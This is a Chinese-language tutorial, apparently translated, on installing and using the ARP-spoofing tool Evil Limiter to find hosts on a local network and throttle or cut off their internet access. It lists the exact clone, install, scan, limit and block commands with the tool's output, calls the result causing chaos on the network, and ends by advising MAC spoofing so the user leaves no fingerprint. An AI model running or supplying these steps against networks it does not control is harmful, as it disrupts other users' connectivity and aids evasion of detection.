要安装Evil Limiter,只有几个命令可以在终端窗口中抛出,如下所示。当所需的库安装完成时,应安装Evil Limiter并准备运行。
~# git clone https://github.com/bitbrute/evillimiter.git
~# cd evillimiter
~# sudo python3 setup.py install
现在,您需要连接到目标网络。之后,您可以通过在新的终端窗口中键入evillimiter来运行Evil Limiter 。您应该看到类似下面的内容。
~# evillimiter
███████╗██╗ ██╗██╗██╗ ██╗ ██╗███╗ ███╗██╗████████╗███████╗██████╗
██╔════╝██║ ██║██║██║ ██║ ██║████╗ ████║██║╚══██╔══╝██╔════╝██╔══██╗
█████╗ ██║ ██║██║██║ ██║ ██║██╔████╔██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ╚██╗ ██╔╝██║██║ ██║ ██║██║╚██╔╝██║██║ ██║ ██╔══╝ ██╔══██╗
███████╗ ╚████╔╝ ██║███████╗ ███████╗██║██║ ╚═╝ ██║██║ ██║ ███████╗██║ ██║
╚══════╝ ╚═══╝ ╚═╝╚══════╝ ╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
by bitbrute ~ limit devices on your network :3
v1.1.0
OK interface: wlan0
OK gateway ip: 192.168.5.1
OK gateway mac: 84:██:██:██:██:1a
OK netmask: 255.255.255.0
type help or ? to show command information.
您可以通过浏览菜单系统并查看可用命令来探索Evil Limiter的功能。为此,请在终端中键入问号以拉出帮助页面。
(Main) >>> ?
scan scans for online hosts on your network.
required to find the hosts you want to limit.
hosts lists all scanned hosts.
contains host information, including IDs.
limit [ID1,ID2,...] [rate] limits bandwith of host(s) (uload/dload).
e.g.: limit 4 100kbit
limit 2,3,4 1gbit
limit all 200kbit
block [ID1,ID2,...] blocks internet access of host(s).
e.g.: block 3,2
block all
free [ID1,ID2,...] unlimits/unblocks host(s).
e.g.: free 3
free all
add [IP] (--mac [MAC]) adds custom host to host list.
mac resolved automatically.
e.g.: add 192.168.178.24
add 192.168.1.50 --mac 1c:fc:bc:2d:a6:37
clear clears the terminal window.
正如我们在上面看到的,命令很简单。要查找网络上的设备,您只需输入scan即可。
(Main) >>> scan
100% |██████████████████████████████| 256/256
OK 7 hosts discovered.
扫描将拉动网络上的所有其他主机。输入主机以全部显示。
(Main) >>> hosts
┌Hosts──────────────┬───────────────────┬──────────┬────────┐
│ ID │ IP-Address │ MAC-Address │ Hostname │ Status │
├────┼──────────────┼───────────────────┼──────────┼────────┤
│ 0 │ 192.168.5.1 │ 84:██:██:██:██:1a │ _gateway │ Free │
│ 1 │ 192.168.5.2 │ 0c:██:██:██:██:f5 │ │ Free │
│ 2 │ 192.168.5.4 │ 3c:██:██:██:██:6f │ │ Free │
│ 3 │ 192.168.5.24 │ 60:██:██:██:██:78 │ │ Free │
│ 4 │ 192.168.5.25 │ c4:██:██:██:██:2b │ │ Free │
│ 5 │ 192.168.5.61 │ 8c:██:██:██:██:f5 │ │ Free │
│ 6 │ 192.168.5.67 │ f0:██:██:██:██:b5 │ │ Free │
└────┴──────────────┴───────────────────┴──────────┴────────┘
如果要限制除路由器以外的所有设备,可以在limit命令之后逐一列出它们。您还必须指定要限制它们的速度。就我而言,我将以200kbit作为极限速度。
您可以使用limit all命令来选择所有内容,但是由于您希望不理会路由器,因此请键入命令limit 1,2,3,4,5,6开始限制那些特定的设备。
(Main) >>> limit 1,2,3,4,5,6 200kbit
OK 192.168.5.2 limited to 200kbit.
OK 192.168.5.4 limited to 200kbit.
OK 192.168.5.24 limited to 200kbit.
OK 192.168.5.25 limited to 200kbit.
OK 192.168.5.61 limited to 200kbit.
OK 192.168.5.67 limited to 200kbit.
现在我们已经限制了一些设备,我们还可以选择要完全阻止其访问网络的任何设备。我发现有时Evil Limiter可以在限制连接时使用繁重的操作,结果是设备受到很大限制,它们也有可能被阻塞。
要阻止设备,请键入block命令,然后输入要阻止其通过网络接收数据的任何设备的编号。
(Main) >>> block 3
OK 192.168.5.24 blocked.
(Main) >>> hosts
┌Hosts──────────────┬───────────────────┬──────────┬─────────┐
│ ID │ IP-Address │ MAC-Address │ Hostname │ Status │
├────┼──────────────┼───────────────────┼──────────┼─────────┤
│ 0 │ 192.168.5.1 │ 84:██:██:██:██:1a │ _gateway │ Free │
│ 1 │ 192.168.5.2 │ 0c:██:██:██:██:f5 │ │ Limited │
│ 2 │ 192.168.5.4 │ 3c:██:██:██:██:6f │ │ Limited │
│ 3 │ 192.168.5.24 │ 60:██:██:██:██:78 │ │ Blocked │
│ 4 │ 192.168.5.25 │ c4:██:██:██:██:2b │ │ Limited │
│ 5 │ 192.168.5.61 │ 8c:██:██:██:██:f5 │ │ Limited │
│ 6 │ 192.168.5.67 │ f0:██:██:██:██:b5 │ │ Limited │
└────┴──────────────┴───────────────────┴──────────┴─────────┘
现在您已经在网络上造成混乱,是时候让事情恢复原样了。幸运的是,这样做很容易。您可以选择一个接一个地还原设备,也可以全部免费运行以撤消对网络设备的任何限制。
(Main) >>> free all
OK 192.168.5.2 freed.
OK 192.168.5.4 freed.
OK 192.168.5.24 freed.
OK 192.168.5.25 freed.
OK 192.168.5.61 freed.
OK 192.168.5.67 freed.
第三次运行主机,并且所有设备的网络访问都应该再次正常。
(Main) >>> hosts
┌Hosts──────────────┬───────────────────┬──────────┬────────┐
│ ID │ IP-Address │ MAC-Address │ Hostname │ Status │
├────┼──────────────┼───────────────────┼──────────┼────────┤
│ 0 │ 192.168.5.1 │ 84:██:██:██:██:1a │ _gateway │ Free │
│ 1 │ 192.168.5.2 │ 0c:██:██:██:██:f5 │ │ Free │
│ 2 │ 192.168.5.4 │ 3c:██:██:██:██:6f │ │ Free │
│ 3 │ 192.168.5.24 │ 60:██:██:██:██:78 │ │ Free │
│ 4 │ 192.168.5.25 │ c4:██:██:██:██:2b │ │ Free │
│ 5 │ 192.168.5.61 │ 8c:██:██:██:██:f5 │ │ Free │
│ 6 │ 192.168.5.67 │ f0:██:██:██:██:b5 │ │ Free │
└────┴──────────────┴───────────────────┴──────────┴────────┘
使用Evil Limiter时要记住的一件事是ARP欺骗会暴露您的MAC地址,因此在网络上使用此工具可以有效地告诉所有人您的MAC地址是路由器。这会将您的MAC地址保留在您要定位的每台计算机的ARP缓存中,因此,如果您不想在整个网络上留下计算机的指纹,请确保在使用此工具之前先欺骗您的MAC地址。